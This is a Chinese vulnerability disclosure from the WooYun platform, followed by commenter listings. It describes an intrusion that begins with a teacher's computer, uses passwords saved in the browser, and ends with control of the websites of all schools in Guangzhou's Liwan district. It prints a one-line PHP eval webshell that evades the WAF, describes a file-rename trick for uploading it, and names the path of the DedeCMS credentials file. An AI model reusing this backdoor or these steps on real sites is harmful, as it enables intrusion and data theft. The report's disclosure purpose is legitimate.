漏洞概要
关注数(24)
关注此漏洞
漏洞标题：从对学校的渗透测试到控制广州市荔湾区所有学校官网
提交时间：2016-05-21 09:24
修复时间：2016-07-05 17:00
公开时间：2016-07-05 17:00
漏洞类型：成功的入侵事件
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理
Tags标签：
无
漏洞详情
披露状态：
2016-05-21： 细节已通知厂商并且等待厂商处理中
2016-05-21： 厂商已经确认，细节仅向厂商公开
2016-05-31： 细节向核心白帽子及相关领域专家公开
2016-06-10： 细节向普通白帽子公开
2016-06-20： 细节向实习白帽子公开
2016-07-05： 细节向公众公开
简要描述：
RT 求不走小厂流程
详细说明：
漏洞接 http://**.**.**.**/bugs/wooyun-2016-0210607
在内网渗透测试过程中，发现了一个IP地址，是老师的电脑
找了个非办公时间，电脑居然还开着，进去一探究竟【发洞截图时老师在只能随便截一张了】
这台电脑上面的傲游浏览器保存了许多密码...发现一个学校的官网~
还保存了路径，登录发现权限很大，直接先加一个管理吧~
既然是dedecms，直接文件管理器传shell，发现被加速乐拦截了，于是改名大法好先传txt上去，然后改名即可。
（图上的是我在之前测试过程中留下的shell没删）
既然知道有加速乐，那就要绕过，简单地用 <?php eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?> 就可以执行命令了
那么来获取一下真实ip
改hosts，传一句话，菜刀连接
来到www目录下看一看
一堆荔湾的中小学还有幼儿园躺枪~
然后看一下数据库，信息位于/data/common.inc.php
数据库都在这里啦~就不继续深入了~
漏洞证明：
修复方案：
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：5
确认时间：2016-05-21 16:59
厂商回复：
非常感谢您的报告。
影响的数据：高
攻击成本：高
造成影响：中
综合评级为：中，rank：5
最新状态：
暂无
漏洞评价：
评价
-
2016-05-21 09:36 |
prolog ( 普通白帽子 | Rank:975 漏洞数:210 )
-
2016-05-21 10:10 |
机器猫 ( 普通白帽子 | Rank:1358 漏洞数:291 | 爱生活、爱腾讯、爱网络！一个有梦想的16岁...)
-
2016-05-21 10:34 |
欧冠狂魔阿森纳 ( 实习白帽子 | Rank:87 漏洞数:37 | 静静的看你们装逼)
-
2016-05-21 10:36 |
wps2015 ( 普通白帽子 | Rank:658 漏洞数:86 | 不叫一日荒废)
-
2016-05-21 11:19 |
0h1in9e ( 实习白帽子 | Rank:68 漏洞数:23 | 林歌 | 峨眉山下修炼中的<网络安全></web开...)
-
2016-05-21 11:24 |
Archeb ( 实习白帽子 | Rank:51 漏洞数:9 | Poi?)
泥闷够了，我还只是个孩子 ٩(´Д` ;)۶:.*
-
2016-05-21 13:48 |
机器猫 ( 普通白帽子 | Rank:1358 漏洞数:291 | 爱生活、爱腾讯、爱网络！一个有梦想的16岁...)
-
2016-05-21 13:58 |
Archeb ( 实习白帽子 | Rank:51 漏洞数:9 | Poi?)
-
2016-05-21 14:08 |
prolog ( 普通白帽子 | Rank:975 漏洞数:210 )
-
2016-05-21 14:12 |
Archeb ( 实习白帽子 | Rank:51 漏洞数:9 | Poi?)
-
2016-05-21 17:09 |
SREAUDIO ( 实习白帽子 | Rank:42 漏洞数:13 | 努力学习，磨练技术)
-
2016-05-21 17:31 |
唐小风 ( 路人 | Rank:8 漏洞数:3 | 假设你爱上一个姑娘，她有迷人的眼睛和嘴唇...)
-
2016-05-21 17:38 |
Chinalover ( 实习白帽子 | Rank:39 漏洞数:10 | 你看得到我打在屏幕上的字，却看不到我落在...)
-
2016-05-21 18:55 |
Mazing ( 路人 | Rank:29 漏洞数:8 )
-
2016-05-21 20:25 |
陆由乙 ( 普通白帽子 | Rank:620 漏洞数:142 | 我是突突兔！)
-
2016-05-21 20:26 |
MR林 ( 路人 | Rank:6 漏洞数:2 | 挖洞的鸵鸟)
-
2016-05-21 20:29 |
爱偷懒的98 ( 普通白帽子 | Rank:154 漏洞数:58 | 从前车马邮件都很慢，一生只够爱一个人。)
-
2016-05-22 01:28 |
loli 
( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)
-
2016-05-22 10:34 |
放逐 ( 路人 | Rank:2 漏洞数:1 | 白帽子放逐Gg？得失乐与悲与Av Qq205655539)
-
2016-05-22 12:41 |
wps2015 ( 普通白帽子 | Rank:658 漏洞数:86 | 不叫一日荒废)
-
2016-05-22 14:31 |
中国Cold ( 实习白帽子 | Rank:57 漏洞数:25 | 服重任,行远道,正直而固者,轴也。)
-
2016-05-22 15:34 |
prolog ( 普通白帽子 | Rank:975 漏洞数:210 )
-
2016-05-22 16:15 |
Archeb ( 实习白帽子 | Rank:51 漏洞数:9 | Poi?)
-
-
2016-05-22 22:34 |
prolog ( 普通白帽子 | Rank:975 漏洞数:210 )
-
2016-05-23 15:28 |
tSt ( 普通白帽子 | Rank:109 漏洞数:30 | 在开发里运维最强，运维里网络最强，网络里...)
-
2016-05-23 15:38 |
菜鸟小Q ( 普通白帽子 | Rank:207 漏洞数:57 | 坚定自己的信仰并一直做下去......)
-
2016-06-20 23:29 |
Chinalover ( 实习白帽子 | Rank:39 漏洞数:10 | 你看得到我打在屏幕上的字，却看不到我落在...)
提醒：级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 3 个乌云币提前查看 wtf
-
2016-07-05 17:09 |
SoulMask ( 路人 | Rank:4 漏洞数:1 | 除夕夜里即将放飞理想的有志青年)
-
2016-07-05 17:15 |
纽伊斯特 ( 路人 | Rank:8 漏洞数:4 | 有的人活着，他已经死了。)
